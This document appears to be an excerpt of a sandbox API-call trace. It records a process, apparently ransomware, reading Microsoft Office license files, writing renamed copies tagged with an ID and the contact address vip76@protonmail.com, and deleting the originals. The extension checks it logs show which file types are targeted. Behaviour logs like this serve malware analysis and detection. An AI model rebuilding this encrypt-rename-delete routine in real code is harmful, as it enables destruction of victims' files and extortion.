	[0196.560] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.560] lstrlenW (lpString=".docx") returned 5
	[0196.560] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.560] lstrlenW (lpString=".pdf") returned 4
	[0196.560] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.560] lstrlenW (lpString=".xls") returned 4
	[0196.560] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.560] lstrlenW (lpString=".xlsx") returned 5
	[0196.560] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.560] lstrlenW (lpString=".ppt") returned 4
	[0196.560] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.560] lstrlenW (lpString=".zip") returned 4
	[0196.560] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.561] lstrlenW (lpString=".rar") returned 4
	[0196.561] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.561] lstrlenW (lpString=".bz2") returned 4
	[0196.561] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.561] lstrlenW (lpString=".7z") returned 3
	[0196.561] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.561] lstrlenW (lpString=".dbf") returned 4
	[0196.561] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.561] lstrlenW (lpString=".1cd") returned 4
	[0196.561] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.561] lstrlenW (lpString=".jpg") returned 4
	[0196.561] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.561] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.561] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 42
	[0196.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0196.562] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=21737) returned 1
	[0196.562] CloseHandle (hObject=0x5b0) returned 1
	[0196.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0196.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0196.563] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.563] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0196.564] GetLastError () returned 0x0
	[0196.564] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x54e9, lpOverlapped=0x0) returned 1
	[0196.645] WriteFile (in: hFile=0x5dc, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x54f0, lpOverlapped=0x0) returned 1
	[0196.646] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.646] WriteFile (in: hFile=0x5dc, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x128, lpOverlapped=0x0) returned 1
	[0196.647] SetEndOfFile (hFile=0x5dc) returned 1
	[0196.647] CloseHandle (hObject=0x5dc) returned 1
	[0196.647] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.647] SetEndOfFile (hFile=0x5b0) returned 1
	[0196.650] CloseHandle (hObject=0x5b0) returned 1
	[0196.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0196.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.652] lstrlenW (lpString=".doc") returned 4
	[0196.652] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.652] lstrlenW (lpString=".docx") returned 5
	[0196.652] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.652] lstrlenW (lpString=".pdf") returned 4
	[0196.652] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.652] lstrlenW (lpString=".xls") returned 4
	[0196.652] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.652] lstrlenW (lpString=".xlsx") returned 5
	[0196.652] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.652] lstrlenW (lpString=".ppt") returned 4
	[0196.652] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.652] lstrlenW (lpString=".zip") returned 4
	[0196.652] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.652] lstrlenW (lpString=".rar") returned 4
	[0196.652] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.652] lstrlenW (lpString=".bz2") returned 4
	[0196.652] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.652] lstrlenW (lpString=".7z") returned 3
	[0196.652] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.652] lstrlenW (lpString=".dbf") returned 4
	[0196.652] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.652] lstrlenW (lpString=".1cd") returned 4
	[0196.652] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.652] lstrlenW (lpString=".jpg") returned 4
	[0196.652] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.653] lstrlenW (lpString=".doc") returned 4
	[0196.653] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.653] lstrlenW (lpString=".docx") returned 5
	[0196.653] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.653] lstrlenW (lpString=".pdf") returned 4
	[0196.653] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.653] lstrlenW (lpString=".xls") returned 4
	[0196.653] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.653] lstrlenW (lpString=".xlsx") returned 5
	[0196.653] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.653] lstrlenW (lpString=".ppt") returned 4
	[0196.653] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.653] lstrlenW (lpString=".zip") returned 4
	[0196.653] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.653] lstrlenW (lpString=".rar") returned 4
	[0196.653] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.653] lstrlenW (lpString=".bz2") returned 4
	[0196.653] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.653] lstrlenW (lpString=".7z") returned 3
	[0196.653] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.653] lstrlenW (lpString=".dbf") returned 4
	[0196.653] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.653] lstrlenW (lpString=".1cd") returned 4
	[0196.653] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0196.653] lstrlenW (lpString=".jpg") returned 4
	[0196.653] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.654] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.654] lstrlenW (lpString="HomeStudentR_OEM_Perp-pl.xrm-ms") returned 31
	[0196.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0196.654] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10659) returned 1
	[0196.655] CloseHandle (hObject=0x5b0) returned 1
	[0196.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220
	[0196.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0196.655] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.655] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0196.656] GetLastError () returned 0x0
	[0196.656] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0196.710] WriteFile (in: hFile=0x5dc, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0196.711] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.711] WriteFile (in: hFile=0x5dc, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x112, lpOverlapped=0x0) returned 1
	[0196.711] SetEndOfFile (hFile=0x5dc) returned 1
	[0196.712] CloseHandle (hObject=0x5dc) returned 1
	[0196.712] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.712] SetEndOfFile (hFile=0x5b0) returned 1
	[0196.715] CloseHandle (hObject=0x5b0) returned 1
	[0196.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 1
	[0196.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.716] lstrlenW (lpString=".doc") returned 4
	[0196.716] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.716] lstrlenW (lpString=".docx") returned 5
	[0196.716] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.716] lstrlenW (lpString=".pdf") returned 4
	[0196.716] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.716] lstrlenW (lpString=".xls") returned 4
	[0196.716] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.716] lstrlenW (lpString=".xlsx") returned 5
	[0196.716] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.716] lstrlenW (lpString=".ppt") returned 4
	[0196.716] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.716] lstrlenW (lpString=".zip") returned 4
	[0196.716] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.716] lstrlenW (lpString=".rar") returned 4
	[0196.716] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.716] lstrlenW (lpString=".bz2") returned 4
	[0196.716] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.717] lstrlenW (lpString=".7z") returned 3
	[0196.717] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.717] lstrlenW (lpString=".dbf") returned 4
	[0196.717] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.717] lstrlenW (lpString=".1cd") returned 4
	[0196.717] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.717] lstrlenW (lpString=".jpg") returned 4
	[0196.717] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.717] lstrlenW (lpString=".doc") returned 4
	[0196.717] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.717] lstrlenW (lpString=".docx") returned 5
	[0196.717] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.717] lstrlenW (lpString=".pdf") returned 4
	[0196.717] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.717] lstrlenW (lpString=".xls") returned 4
	[0196.717] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.717] lstrlenW (lpString=".xlsx") returned 5
	[0196.717] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.717] lstrlenW (lpString=".ppt") returned 4
	[0196.717] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.717] lstrlenW (lpString=".zip") returned 4
	[0196.717] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.717] lstrlenW (lpString=".rar") returned 4
	[0196.717] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.717] lstrlenW (lpString=".bz2") returned 4
	[0196.717] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.718] lstrlenW (lpString=".7z") returned 3
	[0196.718] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.718] lstrlenW (lpString=".dbf") returned 4
	[0196.718] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.718] lstrlenW (lpString=".1cd") returned 4
	[0196.718] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0196.718] lstrlenW (lpString=".jpg") returned 4
	[0196.718] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.718] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.718] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 35
	[0196.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0196.719] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=19957) returned 1
	[0196.719] CloseHandle (hObject=0x5b0) returned 1
	[0196.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0196.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0196.719] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.719] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0196.720] GetLastError () returned 0x0
	[0196.720] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x4df5, lpOverlapped=0x0) returned 1
	[0197.054] WriteFile (in: hFile=0x5dc, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0197.056] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.056] WriteFile (in: hFile=0x5dc, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0197.056] SetEndOfFile (hFile=0x5dc) returned 1
	[0197.056] CloseHandle (hObject=0x5dc) returned 1
	[0197.056] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.056] SetEndOfFile (hFile=0x5b0) returned 1
	[0197.112] CloseHandle (hObject=0x5b0) returned 1
	[0197.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0197.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.475] lstrlenW (lpString=".doc") returned 4
	[0197.475] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.475] lstrlenW (lpString=".docx") returned 5
	[0197.475] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.476] lstrlenW (lpString=".pdf") returned 4
	[0197.476] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.476] lstrlenW (lpString=".xls") returned 4
	[0197.476] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.476] lstrlenW (lpString=".xlsx") returned 5
	[0197.476] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.476] lstrlenW (lpString=".ppt") returned 4
	[0197.476] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.476] lstrlenW (lpString=".zip") returned 4
	[0197.476] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
